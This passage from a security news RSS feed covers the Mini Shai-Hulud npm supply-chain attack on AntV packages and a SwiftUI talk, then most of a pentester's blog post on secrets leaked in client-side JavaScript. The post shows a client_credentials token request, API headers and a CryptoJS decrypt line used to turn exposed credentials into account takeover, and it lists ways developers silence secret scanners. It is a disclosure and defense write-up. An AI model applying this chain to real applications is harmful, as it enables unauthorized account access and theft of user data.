<p>Beyond that, recommended actions are to look for signs of compromise in CI/CD environments and repositories, and to rotate all credentials.</p>



<p>But the most important advice from experts is much simpler: strengthen defenses against future attacks targeting npm by improving monitoring and package verification.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Massive npm Supply Chain Attack Hits AntV Ecosystem; Hundreds of JavaScript Packages Compromised]]></title>
<description><![CDATA[A major software supply chain attack has compromised hundreds of widely used npm packages tied to the AntV ecosystem, exposing developers and organizations to credential theft, malware delivery, and potentially broader infrastructure compromise.
Security researchers at Socket.dev and Snyk say th...]]></description>
<link>https://tsecurity.de/de/3530492/it-security-nachrichten/massive-npm-supply-chain-attack-hits-antv-ecosystem-hundreds-of-javascript-packages-compromised/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530492/it-security-nachrichten/massive-npm-supply-chain-attack-hits-antv-ecosystem-hundreds-of-javascript-packages-compromised/</guid>
<pubDate>Tue, 19 May 2026 20:53:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="800" height="533" src="https://thecyberexpress.com/wp-content/uploads/Shai-Hulud.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="AntV, Shai-Hulud, NPM, Supply Chain, Supply Chain Attacks, Malware, Worm, Golden Path" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Shai-Hulud.webp 800w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud.webp 800w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Shai-Hulud-750x500.webp 750w" sizes="(max-width: 800px) 100vw, 800px" title="Massive npm Supply Chain Attack Hits AntV Ecosystem; Hundreds of JavaScript Packages Compromised 1"></p><p data-start="131" data-end="376">A major software supply chain attack has compromised hundreds of widely used npm packages tied to the AntV ecosystem, exposing developers and organizations to credential theft, malware delivery, and potentially broader infrastructure compromise.</p>
<p data-start="378" data-end="735">Security researchers at <a class="decorated-link" href="https://socket.dev/blog/antv-packages-compromised" target="_blank" rel="nofollow noopener">Socket.dev</a> and <a class="decorated-link" href="https://snyk.io/blog/mini-shai-hulud-antv-npm-supply-chain-attack/" target="_blank" rel="nofollow noopener">Snyk</a> say the incident is linked to the ongoing “Mini Shai-Hulud” malware campaign, a rapidly evolving threat operation targeting the JavaScript ecosystem through hijacked maintainer accounts and poisoned package updates.</p>

<h3 data-section-id="pzmftv" data-start="737" data-end="774"><span role="text"><strong data-start="741" data-end="774">Hundreds of Packages Affected</strong></span></h3>
<p data-start="776" data-end="1059">According to researchers, attackers compromised the npm maintainer account “atool” and used it to publish malicious versions across more than 300 packages in a matter of minutes. The affected libraries include several high-profile packages with millions of weekly downloads, such as:</p>

<ul data-start="1060" data-end="1151">
 	<li data-section-id="19dxzzc" data-start="1060" data-end="1081"><code data-start="1062" data-end="1081">echarts-for-react</code></li>
 	<li data-section-id="1omi9zq" data-start="1082" data-end="1097"><code data-start="1084" data-end="1097">size-sensor</code></li>
 	<li data-section-id="4sfo6b" data-start="1098" data-end="1112"><code data-start="1100" data-end="1112">timeago.js</code></li>
 	<li data-section-id="y3pwrf" data-start="1113" data-end="1125"><code data-start="1115" data-end="1125">@antv/g6</code></li>
 	<li data-section-id="y3pwv3" data-start="1126" data-end="1138"><code data-start="1128" data-end="1138">@antv/g2</code></li>
 	<li data-section-id="y3q1vo" data-start="1139" data-end="1151"><code data-start="1141" data-end="1151">@antv/x6</code></li>
</ul>
<p data-start="1153" data-end="1441">The broader AntV ecosystem, which was originally developed within <span class="hover:entity-accent entity-underline inline cursor-pointer align-baseline"><span class="whitespace-normal">Alibaba</span></span> and widely used for <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="28322">data</a> visualization and enterprise dashboards, has extensive adoption across financial services, analytics platforms and web applications.</p>
<p data-start="1443" data-end="1606">Researchers estimate the compromised packages collectively account for tens of millions of downloads per month, dramatically increasing the potential blast radius.</p>

<h3 data-section-id="t35p5m" data-start="1608" data-end="1653"><span role="text"><strong data-start="1612" data-end="1653">Credential Theft and Self-Propagation</strong></span></h3>
<p data-start="1655" data-end="1720">The malicious payloads reportedly go far beyond simple backdoors.</p>
<p data-start="1722" data-end="1859">Socket researchers said the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28323">malware</a> was designed to steal sensitive information from developer environments and CI/CD systems, including:</p>

<ul data-start="1860" data-end="1989">
 	<li data-section-id="vdpyb9" data-start="1860" data-end="1879">AWS credentials</li>
 	<li data-section-id="ibj7k5" data-start="1880" data-end="1897">GitHub tokens</li>
 	<li data-section-id="1xqabjn" data-start="1898" data-end="1927">npm authentication tokens</li>
 	<li data-section-id="10rq6lg" data-start="1928" data-end="1940">SSH keys</li>
 	<li data-section-id="1ivjlzz" data-start="1941" data-end="1966">Docker configurations</li>
 	<li data-section-id="pejs9b" data-start="1967" data-end="1989">Kubernetes secrets</li>
</ul>
<p data-start="1991" data-end="2137">In some environments, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28325">malware</a> also attempted container escape techniques if Docker sockets were exposed.</p>
<p data-start="2139" data-end="2332"><a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Security" data-wpil-keyword-link="linked" data-wpil-monitor-id="28324">Security</a> analysts linked the attack to the same “Mini Shai-Hulud” campaign previously observed targeting SAP and AI-related npm packages earlier this year.</p>
<p data-start="2334" data-end="2513">The malware family has gained attention for its worm-like behavior and aggressive propagation techniques, including attempts to infect additional packages and developer workflows.</p>

<h3 data-section-id="1q1ff9" data-start="2515" data-end="2556"><span role="text"><strong data-start="2519" data-end="2556">A Familiar Pattern in npm Attacks</strong></span></h3>
<p data-start="2558" data-end="2663">The latest compromise adds to a growing list of high-profile attacks targeting the npm ecosystem in 2026.</p>
<p data-start="2665" data-end="2975">Recent incidents involving packages tied to Axios, <a href="https://thecyberexpress.com/tanstack-npm-supply-chain-attack/" target="_blank" rel="nofollow noopener">TanStack</a>, and SAP all followed a similar pattern. Attackers compromise a trusted maintainer account or CI/CD workflow, publish malicious package updates, and rely on automated dependency updates to spread malware rapidly.</p>

<h5 data-start="2665" data-end="2975">Read: <a href="https://thecyberexpress.com/axios-npm-supply-chain-attack-escalating/">OpenAI Responds to Axios npm Supply Chain Attack, Rotates macOS Certificates</a></h5>
<p data-start="2977" data-end="3317">In this case, researchers believe the malicious packages were published during a narrow 22-minute window before detection efforts began. Some malicious versions were later deprecated or removed from npm, though security experts warn that anyone who installed affected versions should assume compromise.</p>

<h3 data-section-id="rc43ct" data-start="3319" data-end="3377"><span role="text"><strong data-start="3323" data-end="3377">Microsoft and Security Researchers Warn Developers</strong></span></h3>
<p data-start="3379" data-end="3604">Researchers from <span class="hover:entity-accent entity-underline inline cursor-pointer align-baseline"><span class="whitespace-normal">Microsoft</span></span> and Socket Security publicly warned developers to immediately audit dependencies, pin known-safe versions, and rotate credentials potentially exposed during installation.</p>
<p data-start="3606" data-end="3656">Security teams are also advising organizations to:</p>

<ul data-start="3657" data-end="3855">
 	<li data-section-id="d9otvq" data-start="3657" data-end="3712">Run installs with <code data-start="3677" data-end="3695">--ignore-scripts</code> where feasible</li>
 	<li data-section-id="1on1v8e" data-start="3713" data-end="3763">Review CI/CD secrets and environment variables</li>
 	<li data-section-id="f38yvz" data-start="3764" data-end="3815">Monitor for suspicious outbound network traffic</li>
 	<li data-section-id="1ybi8hz" data-start="3816" data-end="3855">Audit recently updated dependencies</li>
</ul>
<p data-start="3857" data-end="4018">Because many npm malware campaigns now execute during installation rather than runtime, compromised systems may show little evidence after the initial infection.</p>
<p data-start="4237" data-end="4461">Modern JavaScript applications often rely on hundreds—or thousands—of indirect dependencies. That means compromising a single popular maintainer account can create a cascading effect across enterprise environments worldwide.</p>
<p data-start="4463" data-end="4714">Academic research published this year found that over 21% of npm packages inherit at least one known <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28321">vulnerability</a> through dependency chains, highlighting how interconnected—and fragile—the ecosystem has become.</p>

<h5 data-start="4463" data-end="4714">Also read: <a href="https://thecyberexpress.com/new-shai-hulud-attack-hits-500-npm-packages/">New Shai-Hulud Attack Hits Nearly 500 npm Packages with 100+ Million Downloads</a></h5>]]></content:encoded>
</item>
<item>
<title><![CDATA[SwiftUI is functional (bobkonf2026)]]></title>
<description><![CDATA[Scaling modern user interfaces is hard. GUI libraries simplify getting complex interfaces on the screen, but keeping UI state in sync with application state is a challenge, exacerbated by asynchronous state changes (e.g., network activity). Avoiding callback hell, while keeping the application mo...]]></description>
<link>https://tsecurity.de/de/3530230/it-security-video/swiftui-is-functional-bobkonf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530230/it-security-video/swiftui-is-functional-bobkonf2026/</guid>
<pubDate>Tue, 19 May 2026 19:49:06 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Scaling modern user interfaces is hard. GUI libraries simplify getting complex interfaces on the screen, but keeping UI state in sync with application state is a challenge, exacerbated by asynchronous state changes (e.g., network activity). Avoiding callback hell, while keeping the application modular, avoiding UI glitches, and preventing data loss can quickly turn into a nightmare.
          
          This led to a plethora of software architectures, starting with the model-view-controller (MVC) and the model-view-update (MVU) architecture, exhibiting an object-oriented and a functional approach, respectively, with complementary strengths. MVC facilitates modularity, but handling of state and view updates is complex. Conversely, MVU simplifies state handling, but suffers from a lack of modularity.
          
          Modern approaches (e.g., React, Flux &amp; reacl-c) work towards reconciling these opposites. In particular, SwiftUI is a declarative UI framework leveraging functional programming in Swift, including immutable data types and embedded domain-specific languages. It is focused on native apps and has been shown to scale from apps for smart watches to desktop applications, providing a declarative MVU approach while retaining excellent modularity.
          
          I will explain SwiftUI’s software architecture together with its core components, including the observation framework, bindings, the view protocol, and the render tree. In this talk, I will focus on the underlying concepts and not on a particular implementation.

Licensed to the public under https://creativecommons.org/licenses/by/3.0/de
about this event: https://bobkonf.de/2026/chakravarty.html]]></content:encoded>
</item>
<item>
<title><![CDATA[Shai-Hulud keeps burrowing: 314 npm packages infected after another account compromise]]></title>
<description><![CDATA[Popular JavaScript modules including size-sensor and echarts-for-react hit as hijacked account closed GitHub warnings]]></description>
<link>https://tsecurity.de/de/3529507/it-nachrichten/shai-hulud-keeps-burrowing-314-npm-packages-infected-after-another-account-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3529507/it-nachrichten/shai-hulud-keeps-burrowing-314-npm-packages-infected-after-another-account-compromise/</guid>
<pubDate>Tue, 19 May 2026 16:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Popular JavaScript modules including size-sensor and echarts-for-react hit as hijacked account closed GitHub warnings]]></content:encoded>
</item>
<item>
<title><![CDATA[Secrets That Survive Everything]]></title>
<description><![CDATA[The Runtime Security Gap Left UnguardedYears of shift-left investment, and a hardcoded key still survives to production.By Hemanth GorijalaThe Finding That Changed How I Think About SecretsDuring a security assessment, I found credentials sitting in a client-side JavaScript bundle, visible to eve...]]></description>
<link>https://tsecurity.de/de/3528501/hacking/secrets-that-survive-everything/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3528501/hacking/secrets-that-survive-everything/</guid>
<pubDate>Tue, 19 May 2026 11:23:47 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Runtime Security Gap Left Unguarded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whEbgBAavVsPWPWnrz0PyA.png"></figure><p><em>Years of shift-left investment, and a hardcoded key still survives to production.</em></p><p><em>By Hemanth Gorijala</em></p><h3>The Finding That Changed How I Think About Secrets</h3><p>During a security assessment, I found credentials sitting in a client-side JavaScript bundle, visible to every visitor who opened DevTools.</p><p>Real Azure credentials, and I started asking: <em>what could be done with them?</em></p><p>That question led to a full account takeover chain built from four values sitting in a JavaScript file the application was already serving to every visitor. The affected organization had static secret scanning on pull requests and repository scanning across their codebase. None of it had flagged the credentials, because none of it scans what an application serves. Only what developers commit.</p><p>The same pattern appeared in a second application later in the same engagement, with a different codebase and a different team, and it ended in the same outcome.</p><h3>Responsible Disclosure</h3><p>Both findings described in this post were identified and further investigated during authorized security assessments. Findings were reported immediately to the affected organization, remediated, and verified through retest before this publication. No user data was accessed beyond what was necessary to confirm exploitability.</p><p>The screenshots in this post come from <strong>InsecureShield</strong>, a controlled demo application built for security demonstrations. All credentials shown are synthetic and have been auth-tested as non-functional against their real providers. The patterns illustrated are reproduced from real engagements. The data shown is not.</p><h3>From Finding to Full Access on Azure AD + APIM</h3><p>Azure API Management (APIM) is a gateway service that sits in front of backend APIs and enforces access through two separate credential types: Azure AD bearer tokens (JWTs issued by the identity provider) and APIM subscription keys (gateway-specific pass keys scoped to API products). Both are required to reach protected endpoints. A typical Azure-native single-page application authenticates a user via Azure AD, receives a token, and then calls the backend API through the APIM gateway sending both the bearer token and the subscription key on every request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SXddypVrGIUb7dUviytTBQ.png"><figcaption><strong>Azure AD + APIM Request Flow</strong></figcaption></figure><p><em>Azure AD + APIM request flow. Two-credential gateway: Bearer token plus subscription key on every request.</em></p><p>The exposed credentials were not just an API key. Sitting in the client-side JavaScript bundle of a production application, Azure AD authenticated, protected by APIM, serving real users, were four values.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*1RDkbyevAZnvyjOXsRvyAw.png"><figcaption><strong>The Azure credential set. Two of the four should never be in the browser.</strong></figcaption></figure><p>The AppID is legitimately public in OAuth2 public client flows. The AppKey is not. It is the client secret for a confidential client flow, designed for server-to-server authentication where the application code is not visible to end users. Client secrets are architecturally valid for server-side web applications. The problem is not that the secret exists. It is that it appeared in browser-accessible JavaScript, where it is visible to every visitor who opens developer tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*-9kLDhcUUIuk6C--5wJ5wQ.png"><figcaption>View-source: main.js secrets</figcaption></figure><p><em>Build-pipeline-generated /js/main.js on a controlled demo target. APIM subscription key, internal service endpoints, and a service-account key all visible to any visitor.</em></p><p>Together, these four values are everything needed to authenticate as the application itself. The tenant ID, required to call the token endpoint, was visible in the application’s login redirect URL, hardcoded alongside the other values in the same bundle. The tenant ID is a public identifier and is not counted among the four credential values, since its availability to any visitor is assumed.</p><p>I called the Azure AD token endpoint:</p><pre>POST https://login.microsoftonline.com/{tenant_id}/oauth2/token<br> <br>grant_type=client_credentials<br>client_id={AppID}<br>client_secret={AppKey}<br>resource={Resource}</pre><p>It returned a fully authenticated Bearer access token. (The v1 endpoint format is shown. The v2 endpoint uses /oauth2/v2.0/token with a scope parameter in place of resource. Both remain in active use across enterprise Azure environments.)</p><p>I then read the JavaScript bundle carefully. Not just scanning for secrets, but reading it as a map of how the application was built. Buried in the minified code were API endpoint definitions. GET and POST endpoints with their complete schema structures showing exactly which parameters each endpoint expected. The frontend had documented its own backend.</p><p>Using the Bearer token and APIM subscription key together:</p><pre>Authorization: Bearer {token}<br>Ocp-Apim-Subscription-Key: {SubscriptionKey}</pre><p>I reconstructed and called the endpoints from the schemas. User profile data returned immediately. Then I found an account management endpoint, same token, same subscription key, same reconstructed schema. I reported the finding at this point and did not proceed further.</p><p>One APIM subscription key typically maps to a product containing multiple APIs.</p><pre>SubscriptionKey  -&gt;  APIM Product "Internal APIs"<br>                       |-- /users/*<br>                       |-- /payments/*<br>                       |-- /admin/*<br>                       `-- /reports/*</pre><p>One exposed subscription key grants access to every API in that product. The scope of exposure is determined by how the APIM product is configured, a detail that is not visible from the client side and must be assessed in the APIM portal.</p><p>The exposed credentials alone constitute a significant finding regardless of what they unlock. A client secret in a public JavaScript file means any visitor can authenticate as the application. The blast radius depends entirely on what permissions that application has been granted.</p><p>In this case, the amplifying factor was the scope condition. Azure AD grants come in two flavors: <strong>application permissions</strong> (the token acts as the application itself, an autonomous identity with no signed-in user) and <strong>delegated permissions</strong> (the token acts on behalf of a specific signed-in user, scoped to what that user can do). The application here had been granted application permissions where delegated permissions would have been appropriate and sufficient. The application’s client identity had been given the ability to perform user-level operations across every account in the system. Without that misconfiguration, the Bearer token would have had limited reach. With it, the token was effectively an admin key to every user account in the system.</p><blockquote><strong>Full account takeover. From four values in a JavaScript file visible to every visitor of the application.</strong></blockquote><p>This was not a sophisticated attack. No exploit framework was needed. The chain came from reading the JavaScript file the application was already serving to everyone, and understanding what the credentials unlocked.</p><h3>The CryptoJS Locked Box With the Key Taped On</h3><p>A different application from the same engagement, a different codebase, and the same Azure AD credential pattern waiting at the end.</p><p>The frontend JavaScript contained a CryptoJS-encrypted configuration blob, a common pattern in single-page applications where configuration is bundled into the frontend and obfuscated using a client-side encryption library. The intent is that the configuration is protected because it is encrypted.</p><p>Client-side encryption can never protect a secret from the client. If the browser needs to decrypt the configuration, the decryption key has to be present in the browser. Anyone who opens DevTools has the same access.</p><p>The decryption key was hardcoded in the same JavaScript file, three lines away from the encrypted blob.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*bSgayWeNkEFXpsWoYy3-dw.png"><figcaption><em>View-source: main.js (CryptoJS blob and key)</em></figcaption></figure><p><em>The ciphertext, the key, and the call that joins them, all in the same file a few lines apart. Open the browser console, paste the three pieces, and the configuration object falls out in plaintext in under a minute.</em></p><p>The decrypt itself is a single line, run in the browser’s developer console using the same CryptoJS library the application ships.</p><pre>CryptoJS.AES.decrypt(encryptedConfig, hardcodedKey).toString(CryptoJS.enc.Utf8)</pre><p>What came out was a complete configuration object. The Azure AD client credentials for that application’s service principal (AppID, AppKey, Resource), the APIM subscription key, internal service endpoints the app talks to, third-party service keys, and the connection strings the build pipeline had wrapped. Everything the application needed at runtime, returned in plaintext to anyone who opened devtools. The encryption had provided exactly zero protection. The secret to unlock everything was sitting next to the lock.</p><p>The decrypted object contained the same pattern. AppID, AppKey, Resource, and Azure AD client credentials embedded in what developers believed was a secured configuration. As with the first finding, the service principal had been granted over-permissive scopes, allowing an application-level token to perform user-level data access operations.</p><p>I called the same Azure AD token endpoint with the decrypted credentials. A Bearer token came back. I read the bundle for endpoint definitions, the same pattern as before, schemas embedded in the minified code. Authenticated GET calls returned full user profile data such as names, email addresses, and account details, for any user in the application. I reported the finding and stopped.</p><p>The CryptoJS-encrypted configuration pattern is particularly dangerous because it creates a false sense of security. Developers implement it believing the configuration is protected. Security teams see encryption and move on. The decryption key sitting next to the ciphertext makes the entire construct meaningless, but only if you read the whole file rather than scan it for plaintext secrets.</p><h3>The Pattern Repeats</h3><p>After the second chain, I started wondering how many other applications in the same engagement had the same problem. The answer wasn’t reassuring.</p><p>The same construct recurred across multiple unrelated codebases: build-time injection of Azure AD client_credentials, CryptoJS-encrypted configuration with the decryption key three lines from the ciphertext, and plaintext credentials sitting directly in client-side JavaScript. Different teams, different stacks within the same organizational portfolio, all converging on the same outcome.</p><p>The credentials were recoverable from successful page responses and from a small number of error responses, including geo-restricted and authentication-required pages. The single-page application bundle loads its full configuration regardless of session state. Even when the application refuses to authenticate you, the JavaScript shell still loads with the credentials baked in.</p><p>Every one of these applications was deployed by an organization running automated secret scanning in CI/CD and SAST on every pull request. The credentials were still live in production.</p><p>These were not two isolated mistakes. They reflect how single-page applications routinely reach production at enterprise scale.</p><h3>The Path Shift-Left Never Sees</h3><p>After the second chain, the question I kept coming back to was how the credentials got there in the first place.</p><p>In each case, this was not negligence. These were mature, well-built applications with authentication layers, gateway controls, structured API design. Organizations that build this way have shift-left tooling. The secrets got through anyway.</p><p>The shift-left tools had done their job. The secrets found a path they weren’t watching, introduced through a build process, an environment injection, a third-party dependency update, or a deployment step that happened outside the scanned path. One common example involves REACT_APP_* environment variables bundled at build time via webpack’s DefinePlugin, live keys baked into the JavaScript bundle, never touching the repository, invisible to every pre-commit scanner. Another is CI/CD pipeline variable substitution. A placeholder like #{APIM_SUB_KEY}# lives in the repository while the real value is injected by the deployment pipeline at build time. The secret never exists in git. It materializes only in the build artifact, after every scanner has already run.</p><pre>Source code (.ts, config files). ← Shift-left scans HERE<br><br>                          ↓ [pipeline variable substitution / build]<br><br>dist/main.abc123.js (minified) ← Secret exists HERE - never scanned<br><br>                          ↓ [deploy to CDN]<br><br>Live app at https://app.example.com ← Secret is live HERE - DAST ignores it<br><br>                          ↓ [browser fetches config.json]<br><br>Runtime-fetched config ← Secret fetched HERE - invisible to everything</pre><blockquote><strong>Shift-left tools scan what you commit. They do not scan what you serve.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*IPoNQsuES19CvXPSmg1vMQ.png"><figcaption><em>View-source: env.js runtime config</em></figcaption></figure><p>A second path compounds the structural one. Many SPA architectures require certain credentials in the browser to function: a Google Maps API key to render maps, a Firebase configuration to authenticate users, a Stripe publishable key to initialize the payment SDK. These keys cannot be removed without breaking the application. When shift-left scanners encounter them in source files or CI/CD configuration, the build fails and the pull request is blocked. Developers facing this friction do not remove the key. They suppress the scanner in one of these ways:</p><ul><li>Adding files or directories to the scanner’s ignore list or allowlist</li><li>Excluding configuration directories or environment files from the scan scope</li><li>Dismissing alerts as “false positive” or “used in tests”</li><li>Adding inline suppression comments to affected lines</li><li>Allowlisting the specific secret pattern in the SAST ruleset</li></ul><p>The suppression is deliberate and made under pipeline pressure. Once in place, the same credential reaches every subsequent deployment without detection because the scanner has been explicitly configured to stop observing it.</p><h3>The Shift-Right Gap</h3><p>The industry has spent years building the left side of this picture. The right side is almost empty.</p><p><strong>Shift-left, pre-production</strong></p><ul><li>Secret scanning is mature, well-funded, and widely deployed. GitLeaks, TruffleHog, detect-secrets, and GitHub Advanced Security cover this layer.</li><li>SAST is well covered by Semgrep, SonarQube, and Checkmarx.</li><li>SCA is well covered by Snyk and Dependabot.</li></ul><p><strong>Shift-right, production runtime</strong></p><ul><li>DAST tools are built as web application scanners, designed to find injection vulnerabilities, authentication flaws, and misconfigurations, not hardcoded credentials in served responses.</li><li>Runtime secret scanning has limited purpose-built tooling.</li></ul><p>This is not a criticism of DAST tools. They solve a different problem. Azure AD credentials hardcoded in a minified webpack bundle do not look like an injection vulnerability. They do not trigger an XSS finding. They do not appear in a DAST report. They are invisible to the entire shift-right tooling category because that category was never designed to find them.</p><p>Once a secret evades shift-left controls and reaches production, it disappears from every scanner’s view.</p><p>Today, only three sources find these credentials at all.</p><ul><li>A manual penetration tester who reads JavaScript carefully</li><li>A security researcher or bug bounty hunter</li><li>An attacker</li></ul><p>Two of those three report what they find. One does not.</p><h3>The Attack Surface Existing Tools Miss</h3><p>To understand why DAST stays silent, it helps to see exactly what it is not looking at. The available tooling doesn’t cover the actual attack surface of a modern web application:</p><ul><li><strong>Single-page applications</strong> built with React, Vue, or Angular where the entire application is a minified webpack bundle split across dozens of chunk files</li><li><strong>Encrypted configuration objects</strong> where a client-side encryption library decrypts a configuration blob using a key hardcoded in the same file — the decryption key sitting next to the ciphertext makes the encryption meaningless, and the complete credential set is one step away from exposure</li><li><strong>HTML view-source scanning</strong> for SSR state blobs — the __NEXT_DATA__ or window.__INITIAL_STATE__ objects injected into HTML by Next.js and Nuxt that regularly contain tokens and internal configuration</li><li><strong>JSON API responses</strong> that return credentials in fields never meant to be client-facing</li><li><strong>XML responses</strong> from enterprise services carrying connection strings and service credentials</li><li><strong>Request headers</strong> on every outbound API call carrying subscription keys and bearer tokens in plaintext</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*-OOmcAJchP5SfKZWZCXOuA.png"><figcaption><em>View-source: firebase.js service account</em></figcaption></figure><p>And critically, none of them have noise suppression adequate for real-world use. A tool that generates hundreds of false positives per scan is a tool that gets disabled. Noise suppression decides whether findings get acted on or ignored.</p><p>Scanning build artifacts in CI/CD before deployment closes part of this gap. It catches secrets that pipeline variable substitution baked in before they reach production. But it does not cover runtime-fetched configurations that applications load after deployment, lazy-loaded chunks served dynamically from CDN, or credentials embedded in third-party scripts that never touch your build pipeline. Artifact scanning is a useful layer. It is not the runtime layer.</p><h3>The Bigger Picture</h3><p>The shift-left investment the industry has made is real, justified, and valuable. Catching secrets before deployment is always better than catching them after.</p><p>But secrets are still reaching production. They evade controls not because the tools are bad, but because the path from development to deployment has more branches than any single scanning layer can cover. And once a secret reaches the runtime layer, today’s tooling goes silent.</p><p>Millions of dollars invested in shift-left scanning. No purpose-built, production-grade tooling on the shift-right side.</p><p>Two independent studies confirm this at internet scale.</p><p>In December 2025, Intruder published research scanning approximately 5 million applications and identifying around 42,000 exposed tokens. That work establishes population prevalence at internet scale and confirms that standard DAST and infrastructure scanners do not cover this surface.</p><p>In early 2026, Demir et al. published “Keys on Doormats” on arXiv, an academic measurement study that crawled 10 million pages across the public web and extracted 1,748 distinct credentials. 84 percent of the recovered credentials were embedded in JavaScript. The median credential persisted in the wild for 12 months. The study covered 14 cloud and SaaS providers. Different methodology, same conclusion. The runtime layer is unscanned at internet scale, and credentials persist long enough to be found and abused.</p><p>The chains in this post show what those credentials unlock once an attacker reads them. These patterns appear in production applications serving real users today. Both targets had secret scanning enabled. Neither had runtime coverage.</p><p>Attackers already know this. Most security teams don’t have an answer for it yet.</p><h3>What You Can Check Today</h3><p>For security teams, the immediate check is simple. Open DevTools on your own production application, go to the Network tab, and read what is being served. Look at the JavaScript bundle source, the API response payloads, and the request headers. Look specifically for patterns like client_id, client_secret, AppKey, SubscriptionKey, apiKey, or any high-entropy string in a configuration object. No tooling required. What you find in ten minutes is what an attacker finds in ten minutes.</p><p>If your organization runs Angular or React SPAs that talk to Azure AD plus APIM, the ten-minute DevTools check is the highest-value security review you can do this week.</p><h3>Why Existing Tools Don’t Close the Gap</h3><p>The runtime-scanning category is not empty. A skeptical reader at this point should be asking what existing tools already cover this surface and what they don’t.</p><p><strong>Repo and file scanners</strong> like GitLeaks, detect-secrets, and GitHub Advanced Security are mature and well-deployed. They scan what is in source control. They do not scan what the application serves at runtime.</p><p><strong>TruffleHog</strong> sits in its own category. It scans repos and filesystems, accepts URL lists through its HTTP source, and verifies whether discovered credentials are live, which most scanners don’t do. Pointed at downloaded JavaScript bundles or URL lists, it works well within those inputs. What it does not do is treat the live application as a black box, capturing whatever the application serves as it runs. The dynamically loaded chunks, JSON and XML response bodies, and request headers that appear during real execution stay outside the URL-list input.</p><p><strong>Active crawlers</strong> like Cariddi, SecretFinder, LinkFinder, and jsleak fetch JavaScript files and run regex matches over the content. They are useful for the public surface of an application. They are static fetchers. They do not observe the application as it actually runs, and they do not capture API response bodies, request headers, or lazy-loaded chunks that materialize only during real execution.</p><p><strong>Template scanners</strong> like Nuclei with community secret-leak templates hit specific URLs and regex-match responses. They depend on knowing the URLs in advance and on someone maintaining the templates. They are not passive observers of whatever the application serves.</p><p><strong>DAST scanners</strong> like OWASP ZAP, Burp Scanner, and commercial equivalents look for injection vulnerabilities, authentication flaws, and misconfigurations. They were not built to find hardcoded credentials in served responses, and they don’t.</p><p>Each category solves a piece of the problem. What none of them do is the combination that runtime credential exposure actually requires. Four properties have to be present together.</p><ul><li><strong>Black-box operation.</strong> No source code, no API documentation, no prior knowledge of the application. The tool sees what an external attacker sees.</li><li><strong>Observe runtime traffic.</strong> JS bundles, JSON and XML response bodies, request headers, HTML SSR state blobs, and dynamically loaded chunks. Whatever the application actually serves as it runs.</li><li><strong>Detect encrypted-blob constructs.</strong> CryptoJS-style decryption keys hardcoded next to the ciphertext. A plaintext-only scanner walks right past these.</li><li><strong>Aggressive noise suppression.</strong> Runtime traffic is full of UUIDs, cache busters, and high-entropy strings that aren’t credentials. A tool that generates hundreds of false positives per scan is a tool that gets disabled within a week.</li></ul><p>Without all four together, the tool either misses what the application actually serves, or generates so much noise it gets turned off.</p><h3>Four Layers of Defense</h3><p>The disclosures and the research that followed point to the same hole in the stack. Secrets that reach production are not being scanned at the runtime layer. Closing this gap is not a single fix. It is a four-layer defense, two layers of prevention followed by two layers of detection.</p><h4><strong>Prevention:</strong></h4><p><strong>[1] Backend for Frontend (BFF).</strong> The structural fix. The credential never enters the browser. The frontend sends only a session cookie to a BFF server, the BFF fetches the credential from a vault at runtime, and the BFF calls upstream APIs on behalf of the user. If a credential never leaves the server, it cannot leak from the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yvzNEfxbuRd5ZfPrT66wA.png"><figcaption><em>Current architecture vs. BFF pattern</em></figcaption></figure><p>BFF is the right destination, but it is not a same-day change. The frontend uses those credentials today to talk to backends. Removing them outright breaks the application. A real migration to BFF means standing up a server-side proxy, re-routing every API call from the SPA through it, replacing bearer-token authentication in the browser with session cookies, and reworking CORS, CSRF, and any WebSocket or server-sent-event paths the application currently uses. For a 